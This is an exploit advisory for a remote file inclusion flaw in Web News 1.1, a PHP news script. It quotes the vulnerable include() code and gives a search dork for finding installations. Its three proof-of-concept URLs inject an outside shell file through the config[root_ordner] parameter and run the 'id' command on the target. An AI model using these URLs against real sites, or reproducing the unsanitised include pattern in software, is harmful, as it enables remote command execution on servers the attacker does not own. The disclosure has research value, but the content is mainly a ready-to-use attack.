Web News 1.1 Remote Command Execution Vulnerability 
-----------------------------------------------------------------------

Script  : Web News

Version : 1.1
	
Site    : http://www.mapos-scripts.de

Founder : Rizgar

Contact : rizgar (at) linuxmail (dot) org [email concealed] and irc.gigachat.net #kurdhack

Thanks  : Kurdish Hackers Clan(Anti Fashist Group :P), PH(HERO) , ColdHackers(nice boys)

d0rk    : "Copyright (c) 2007 by Mapos-Scripts.de", "Web News 1.1 and 1.0"
-----------------------------------------------------------------------

<?php
session_start();
include($config["root_ordner"].'config.php');
if (file_exists($root_ordner.'install.php')) 
{
	echo "<meta http-equiv='refresh' content='0;URL=install.php'>";
	exit;
}
include($config["root_ordner"].'includes/dbconnect.php');
include($config["root_ordner"].'includes/function.php');

$header = style('index_body','header');
echo $header;

?>

PoC

http://www.site.com/path/index.php?config[root_ordner]=http://shell.txt?
&cmd=id
http://www.site.com/path/news.php?config[root_ordner]=http://shell.txt?&
cmd=id
http://www.site.com/path/feed.php?config[root_ordner]=http://shell.txt?&
cmd=id

..

EOF